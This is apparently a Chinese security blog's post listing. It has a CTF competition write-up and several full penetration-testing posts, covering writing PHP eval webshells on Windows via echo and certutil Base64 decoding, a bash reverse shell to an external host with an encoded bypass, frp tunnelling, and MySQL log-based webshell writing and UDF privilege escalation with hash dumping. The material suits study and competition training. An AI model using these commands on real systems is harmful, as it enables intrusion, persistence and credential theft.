首页
关于我
友链
推荐
渊龙Sec安全团队
Search
1
渗透必备:使用Proxifier玩转代理
14,946 阅读
2
对于Spring Boot的渗透姿势
9,827 阅读
3
HaE入门到精通:三条影响你一生的HaE规则
9,072 阅读
4
PHP从零学习到Webshell免杀手册
5,457 阅读
5
SQL注入恶劣环境之可执行文件上传骚姿势
4,862 阅读
生活感悟
渗透姿势
技术随笔
CTF夺旗赛
登录
Search
标签搜索
技术随笔
技术小记
渗透经验
人生小记
CTF
数据库
年末总结
内网渗透
曾哥
累计撰写
32
篇文章
累计收到
213
条评论
首页
栏目
生活感悟
渗透姿势
技术随笔
CTF夺旗赛
页面
关于我
友链
推荐
渊龙Sec安全团队
搜索到
10
篇与
的结果
2023-07-17
当无回显RCE碰上Win服务器
0# 概述在日常的渗透过程中,总会碰到一些RCE漏洞,无回显的RCE漏洞更是家常便饭。对于无回显的漏洞利用,网上有不少文章,但我看了半天,都是Linux系统的当无回显RCE漏洞碰上Win服务器,我们又该何去何从呢?故创建本文做个记录本人才疏学浅,如本人有所疏漏,也望各位师傅指点一番
2023年07月17日
3,577 阅读
8 评论
41 点赞
2023-07-02
渗透必备:使用Proxifier玩转代理
0# 概述在日常的渗透过程中,不管是前期的外部打点还是后渗透,代理总是绕不开的话题。在前期的外部打点过程中,扫描和渗透测试会不断受到WAF的拦截,需要不停的更换IP进行扫描和渗透测试;而在后期的后渗透过程中,通过Frp和Nps等等工具从入口点出网之后,也需要对接代理进入目标内网进行内网渗透。本文内容是我个人自己摸索出来的,也有可能别的师傅也有类似的方法哈哈。
2023年07月02日
14,946 阅读
56 评论
148 点赞
2023-06-01
SQL注入恶劣环境之可执行文件上传骚姿势
0# 概述在前期Web打点成功获得对应权限后,就进入了后渗透(提权、内网渗透、域渗透)的阶段,但是在有些时候,总会出现各种各样奇怪的情况,在此也分享一些经验出来。最近在打红队外援碰到了一个站点存在SQL注入,于是尝试用SqlMap对网站进行注入,发现注入成功,但由此也引发了一系列问题。可能你看完本篇文章,会觉得原理其实很简单。但试问你自己,在面对以下情况的时候,能想到通过这样的手法达成你的目的吗?这就是本文的意义
2023年06月01日
4,862 阅读
12 评论
54 点赞
2023-03-18
PHP从零学习到Webshell免杀手册
手册概述临渊羡鱼,不如退而结网;扬汤止沸,不如去火抽薪。手册版本号:V1.4.1-2023/10/04 这是一本能让你从零开始学习PHP的WebShell免杀的手册,同时我会在内部群迭代更新开源地址: https://github.com/AabyssZG/WebShell-Bypass-Guide SeeBug Paper地址:https://paper.seebug.org/3044/如果师傅们觉得不错,可以给我点个Star哈哈~有什么新的WebShell免杀姿势、手法,欢迎与我交流
2023年03月18日
5,457 阅读
5 评论
12 点赞
2023-02-25
苛刻条件下:C2上传执行骚姿势
0# 概述在前期Web打点成功获得对应权限后,就进入了后渗透(提权、内网渗透、域渗透)的阶段,但是在有些时候,总会出现各种各样奇怪的情况,在此也分享一些经验出来。最近团队师傅找到我,想要让我帮忙提权一个站点,正好用上了这个骚操作,看网上好像都没有人记录这个手法,这边就浅浅记录一下,希望能帮助到屏幕前面的你。
2023年02月25日
3,088 阅读
11 评论
39 点赞
2023-01-26
对于Spring Boot的渗透姿势
0# Spring Boot概述Spring Boot 是由Pivotal团队提供的全新框架,其设计目的是用来简化 Spring 应用的创建、运行、调试、部署等。使用 Spring Boot 可以做到专注于 Spring 应用的开发,而无需过多关注 XML 的配置。Spring Boot 使用“习惯优于配置”的理念,简单来说,它提供了一堆依赖打包,并已经按照使用习惯解决了依赖问题。使用 Spring Boot 可以不用或者只需要很少的 Spring 配置就可以让企业项目快速运行起来。
2023年01月26日
9,827 阅读
9 评论
36 点赞
2023-01-05
Web系统的RCE漏洞的Getshell姿势
情景描述今天早上在研究一个Web系统的0Day,虽然是个任意命令执行漏洞,但是这个RCE有些局限,就想通过RCE写个WebShell提提权再看看目标系统:Microsoft Windows Server 2019 Standard动态脚本:PHP 5.6GetShell姿势通常我们写入文件,通常都会使用CMD的echo命令echo 文件内容 > "文件名"假如我们要写php一句话的时候,比如:<?php eval($_POST["aabyss"]); ?>这时候有同学就想到这样不就好了:echo <?php eval($_POST["aabyss"]);?> > "webshell.php"但实际上这样是不行的,因为以下特殊符号是无法直接放入echo语句(执行会提示语法错误或者无法写入这些符号):& | > < +所以通常我们会把特殊符号通过^来进行转义,比如这样:echo ^<?php eval($_POST["aabyss"]);?^> > "webshell.php"通常就能写入了难点来了但是我早上尝试的那个0day,语句没办法通过^进行转义,或者写入的流量被WAF拦截,怎么办呢?首先,我想到了通过""双引号进行包含进行写入,比如:echo echo "<?php eval($_POST["aabyss"]);?>" > "webshell.php"文件内容如下:"<?php eval($_POST["aabyss"]);?>"这样虽然能写入& | > < +这些特殊符号,但是代码最外层带了"",实测php代码是无法执行的于是我又想到了Base64编码进行写入,首先对一句话内容进行base编码:于是得到编码后的Base64字符串,如下:PD9waHAgZXZhbCgkX1BPU1RbImFhYnlzcyJdKTsgID8+但是通过上文,我们发现+也是不能写入的,怎么办呢?这时候插入在外部插入一些数字就能简单解决啦:这时候就得到一份做好的Base64字符串:MTw/cGhwIGV2YWwoJF9QT1NUWyJhYWJ5c3MiXSk7ICA/PjEy接下来通过echo将Base64字符串写入TXT文件即可:echo MTw/cGhwIGV2YWwoJF9QT1NUWyJhYWJ5c3MiXSk7ICA/PjEy > "base64.txt"接下来通过命令进行解密:certutil -f -decode "base64.txt" "webshell.txt"然后将webshell.txt复制为php文件即可大功告成:copy webshell.txt webshell.php其他一些tips对于Linux系统,可以采用系统命令直接解密Base64来写入:echo 'MTw/cGhwIGV2YWwoJF9QT1NUWyJhYWJ5c3MiXSk7ICA/PjEy' | base64 -d > webshell.php查看当前目录:cd解密Base64文件到上层目录:certutil -f -decode "base64.txt" "../webshell.txt"将命令输入内容写入文件查看:命令 >> out.txt
2023年01月05日
1,089 阅读
2 评论
17 点赞
2022-12-21
2022安恒杯决赛思路分享
比赛概述难以置信,我们是第一名!!!感谢同一队的@Mstir师傅和我的密切合作哈哈 安恒杯初赛是CTF,我博客前面两篇文章写了一部分解题思路,后面看看要不要再把一些解题思路放上来(主要是懒哈哈,懒得码字)决赛的话,就不是CTF的赛制了,而是综合渗透赛制,这个有点像AWD但又不像本来我和 @Mstir 师傅也只是想认真比一下的,但没想到拿了第一,真的意想不到有些师傅想要让我分享一下这次比赛,那我就在这里简单的分享一下吧何为综合渗透赛制?综合渗透赛制,又称靶场综合渗透,此模式涉及多个前沿热门应用、同时涉及了多层网络,模拟真实企业生产环境,比如上线一套分布在不同网络区域的多台漏洞靶机,参赛队伍通过内网渗透获取靶机相应权限,从而读取相应的Flag(旗标文件)。涉及的知识点有内网安全、反向代理、内网穿透、服务器提权、中间件安全、数据库安全等。简单来说,就是我们作为攻击方,通过对模拟真实环境的靶机进行渗透来获取关键Flag1# 准备阶段前期:摄像头、录屏工具(EV录屏、Bandicam)因为比赛的时候,我们学校放假了,因为本次比赛有非常强的防作弊措施,比赛全程都要开启并接入监控摄像头,比赛全程所有选手的电脑必须录屏并提交,所以这两个必须要准备比赛期间:一台公网服务器:用来反弹Shell和Frp转发流量7kbScan:用于扫描Web敏感路径的BurpSuite:著名的抓包工具,爆破Web的密码要用AntSword(蚁剑):用于连接WebShell和访问数据库以及提权SolrVulScan1.0-win64.jar:本次比赛出现CVE-2019-17558这个Apache Solr的漏洞,所以需要利用工具Solr_CVE-2019-17558.py:同上,Python的漏洞利用脚本Fscan:内网扫描神器,相信很多师傅都用过Frp:用于内网渗透的时候将内网流量代理出来Proxifier:用于配合Frp,给本机系统进行全局代理Navicat(可选):数据库可视化连接工具,配合Frp连接内网数据库Ladon拉冬:K8师傅开发的内网渗透、提权必备神器DayBreak破晓平台:斗象科技开发的轻量级C2平台项目,我拿到了内测权限,用来上线Linux,可以用CobaltStrike替代能想到的工具目前就这些了,如果还有的话再补充2# 整体思维导图3# 比赛过程3.1# 外网打点阶段-phpok首先给了一个外网地址:162.14.*.*(扫描后,发现开了两个端口:80和8983端口)80端口,访问后是一个网站:显示使用phpok这个源码搭建的:直接上手7kbscan,扫描路径:扫出了一个robots.txt和admin.phprobots.txt里面带了一个flag14,admin.php是后台地址用BurpSuite爆破后台账号密码,注意这里需要识别验证码进行爆破,相关的姿势去百度有很多文章,这里就不赘述了爆破出后台账号密码:admin/admin123吐槽:估计是怕BurpSuite带验证码爆破有些队伍不会,提示Hint1直接给了账号密码,我爆破半天。。 登录后台后,百度可以找到phpok存在后台任意文件上传 (CVE-2018-12491)漏洞,直接跟着文章复现漏洞即可: https://blog.csdn.net/weixin_42675091/article/details/126673611 至此,我们拿到了WebShell,用AntSword连接即可:找到数据库配置文件,连上本地数据库:数据库地址:127.0.0.1数据库账号:root数据库密码:abc123...数据库名:phpok4simple直接可以通过蚁剑连上数据库,但是翻了翻没flag,估计在其他地方然后直接通过WebShell到/home/目录下,就找到了flag1:3.2# 外网打点阶段-Apache Solr转头来看对外开放的Solr服务:直接Python脚本一把梭哈哈,也能拿到falg13.3# 上线机器直接在Web目录下上传二进制文件,命令直接执行即可上线:在DayBreak破晓平台即可看到机器上线了:可以很清楚的看到,上线的机器内网地址为172.16.238.20同样,可以直接通过WebShell执行反弹shell指令,但是直接执行好像不行:bash -i >& /dev/tcp/8.***.**.**/25565 0>&1这时候,就需要对命令进行编码即可绕过进行反弹shell:bash -c '{echo,base64编码后的字符串}|{base64,-d}|{bash,-i}'3.4# 内网扫描直接丢个Ladon拉冬或者Fscan扫内网就行了这时候提示Hint2来了,直接给内网C段:172.16.238.0/24(话说用WebShell看一下地址不就好了吗,这还需要提示???)我这边同时使用Fscan和DayBreak破晓平台同时开始内网扫描:上传fscan_amd64,使用以下命令:/var/www/html/fscan_amd64 -h 172.16.238.0/24 > 222.txt将扫描结果直接导入222.txt结果如下:start ping (icmp) Target 172.16.238.20 is alive (icmp) Target 172.16.238.50 is alive (icmp) Target 172.16.238.10 is alive (icmp) Target 172.16.238.1 is alive (icmp) Target 172.16.238.30 is alive (icmp) Target 172.16.238.40 is alive [*] Icmp alive hosts len is: 6 172.16.238.30:8080 open 172.16.238.20:80 open 172.16.238.40:22 open 172.16.238.1:22 open 172.16.238.30:8009 open 172.16.238.50:445 open 172.16.238.50:139 open 172.16.238.1:80 open 172.16.238.40:3306 open 172.16.238.1:8983 open 172.16.238.10:8983 open [*] alive ports len is: 11 start vulscan [*] NetBios: 172.16.238.50 56b9f476dcc9 Windows 6.1 [*] 172.16.238.50 (Windows 6.1) [*] WebTitle: http://172.16.238.10:8983 code:302 len:0 title:None 跳转url: http://172.16.238.10:8983/solr/ [*] WebTitle: http://172.16.238.30:8080 code:200 len:11230 title:Apache Tomcat/8.0.43 [*] WebTitle: http://172.16.238.10:8983/solr/ code:200 len:14634 title:Solr Admin [*] WebTitle: http://172.16.238.20 code:200 len:14255 title:闻道集团 - 网站建设|企业网站建设|PHPOK网站建设|PHPOK企业网站建设 [*] WebTitle: http://172.16.238.1 code:200 len:14213 title:闻道集团 - 网站建设|企业网站建设|PHPOK网站建设|PHPOK企业网站建设 [*] WebTitle: http://172.16.238.1:8983 code:302 len:0 title:None 跳转url: http://172.16.238.1:8983/solr/ [*] WebTitle: http://172.16.238.1:8983/solr/ code:200 len:14634 title:Solr Admin [+] http://172.16.238.30:8009 poc-yaml-iis-put-getshell [+] http://172.16.238.30:8080 poc-yaml-tomcat-cve-2017-12615-rce [+] http://172.16.238.1:8983 poc-yaml-solr-velocity-template-rce [+] http://172.16.238.10:8983 poc-yaml-solr-velocity-template-rce //内置的ssh没爆破成功,这部分就删掉了 已完成 11/11 [*] 扫描结束,耗时: 6m40.996181292sDayBreak破晓平台扫描结果如下:没问题,两边都扫描出这些端口和内容,应该算是没有遗漏了扫出172.16.238.40这台机器开放了3306端口(MySQL数据库),加上我们之前拿到WebShell之后可以看到数据库连接的账号密码,就尝试连接发现flag5:3.5# Frp内网流量带出测试了以下,内网172.16.238.0/24是不出网的,必须要用Frp将流量带出来下载Frp: fatedier/frp 很简单,frpc是客户端,frps是服务端配置frpc.ini:# frpc.ini [common] server_addr = 自己公网服务器地址 server_port = 7000 [ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 6000 plugin = socks5 //这一句必须要加,不然代理连不上客户端通过WebShell上传,frps上传到自己的公网服务器上,配置frps.ini:# frps.ini [common] bind_port = 7000接下来要在自己的公网服务器上开6000和7000这两个端口,并执行命令进行监听:./frps -c ./frps.ini再在上线的那台机器上执行命令:/var/www/html/frp/frpc -c ./frpc.ini这样就可以成功将内网流量通过公网服务器的6000端口代理出来了,接下来使用Proxifier配合Frp对本地系统进行全局代理:3.6# 内网渗透既然上面发现172.16.238.1和172.16.238.10存在Solr漏洞,直接用SolrVulScan1.0-win64.jar打过去:也能拿到一个flag,这里就不放出来了同时,172.16.238.30的8080端口有Tomcat服务也存在漏洞,内网流量代理出来后就很方便了,直接本机打就行了:同样,读取/home/flag即可拿到flag4# 主办方提示汇总Hint1:CVE-2019-17558 find提权 admin/admin123 1. SUID提权 2. oklite的robots.txt 别忘了,然后试试 admin/admin123 登录。Hint2:1. 一层内网地址:172.16.238.0/24 2. 多扫扫,内网机器的洞很好搞的。Hint3:getshell后尽量用frp或者nps,尽量不要用 reGeorg 之类的正向代理工具,Apache可经不起你这样跑:)HInt4:注意数据安全,数据库里可能也会有flag,别光GetShell,翻下数据库。Hint5:172.16.238.40,MYSQL,用oklite的config.php里的密码去连,同学们渗透要做好信息收集。Hint6:冰蝎不行可以用蚁剑。 MYSQL UDF,还有flag。总结共8个flag,我们总共找到6个flag最后时间不够了,不然172.16.238.40的MySQL进行UDF提权,估计还能拿到一个flagMySQL提权可以看我这篇文章: MySQL不出网文件落地上线姿势队伍里面合作很重要,感谢 @Mstir 师傅和我的密切配合这种比赛需要自备一台公网服务器,不然后期的内网渗透寸步难行自己渗透的速度还是不够,如果再快点,能把全部flag都找到,还要多加练习信息搜集很重要,特别是内网的信息,40那台机器的数据库我也差点忽略了哈哈感谢安恒科技和各个主办单位,给我们这次机会展示自己,没想到真的拿了第一名
2022年12月21日
2,236 阅读
5 评论
20 点赞
2022-12-09
MySQL不出网文件落地上线姿势
MySQL不出网文件落地上线第一步 判断环境1、查看MySQL版本show variables like '%version%'; select version(); #这个只显示MySQL版本号2、查看load_file() 开启即 secure_file_priv 无限制show variables like '%secure%'; #这条可查看详细信息 show global variables like '%secure_file_priv%';Value说明注意NULL不允许导入或导出在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件/var/lib/mysql-files/只允许在 /var/lib/mysql-files/ 目录导入导出在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件空不限制目录 而这个MySQL数据库,只允许在/var/lib/mysql-files/这个目录导入导出3、查看日志功能是否开启和对应目录MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 GetshellSHOW VARIABLES LIKE 'general%';注:general_log 默认是关闭的,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中开启日志功能set global general_log = "ON"; set global general_log_file='/var/www/html/test.php'; #可以写入WebShell然后直接连接蚁剑 # 往日志里面写入 WebShell select '<?php @eval($_POST['AabyssTeam']);?>'; # 此时已经写到 test.php 文件当中了,注意这个要知道网站的具体路径才可以实现4、寻找插件目录(UDF提权摸排)如果是 MySQL >= 5.1 的版本,必须把 UDF 动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下,才能创建自定义函数动态链接库文件获取在我们常用的工具 SqlMap 和 Metasploit 里面都自带了对应系统的动态链接库文件SqlMap:工具根目录/data/udf/mysql注: SqlMap 自带的动态链接库为防止被误杀,都经过编码处理,不能被直接使用不过可以利用 SqlMap 自带的解码工具 cloak.py 来解码使用,cloak.py 的位置为:工具根目录/extra/cloak/cloak.pyMetasploit:工具根目录/embedded/framework/data/exploits/mysql注:动态链接库就是实现共享函数库概念的一种方式,在Windows环境下后缀名为 .dll,在Linux环境下后缀名为 .so接下来的任务是把 UDF 动态链接库文件放到 MySQL 的插件目录下,可以使用如下的 SQL 语句来查询:show variables like '%plugin%';第二步 MySQL提权写入动态链接库写入动态链接库可以分为下面几种情形:存在SQL 注入且是高权限plugin(插件) 目录可写且需要 secure_file_priv 无限制MySQL 插件目录可以被 MySQL 用户写入1、存在SQL注入这个时候就可以直接使用 SqlMap 来上传动态链接库注:因为 GET 有字节长度限制,所以往往使用 POST 注入来写入sqlmap -u "http://Web服务的URL" --data="id=注入点" --file-write="根据本地的文件目录来写/lib_mysqludf_sys_64.so" --file-dest="/usr/lib64/mysql/plugin/(上面探测出来的插件目录)udf.so"2、不存在SQL注入就像我举的例子一样,没有Web服务,只有一个Java应用怎么办?我们可以使用 SQL 语句执行写入,前提是 secure_file_priv 无限制,可以手工写文件到 plugin 目录下# 直接 SELECT 查询十六进制写入 SELECT 0x(通过16进制转换后的动态链接库字符串) INTO DUMPFILE '/usr/lib64/mysql/plugin/udf.so'; # 解码十六进制再写入多此一举 SELECT unhex('(通过16进制转换后的动态链接库字符串)') INTO DUMPFILE '/usr/lib64/mysql/plugin/udf.so';当出现这个报错的时候:由于 secure-file-priv 变量的默认设置为 /var/lib/mysql-files/ 引起的,该值意味着只能导出到指定目录下,否则会报错小技巧:获取MySQL账户和对应密码Hash# MySQL <= 5.6 版本 select host, user, password from mysql.user; # MySQL >= 5.7 版本 select host,user,authentication_string from mysql.user;直接丢到在线网站 https://www.cmd5.com/ 解密直接可以解密了密码,解密不出来就用Hashcat跑就行了
2022年12月09日
1,646 阅读
2 评论
7 点赞
1
2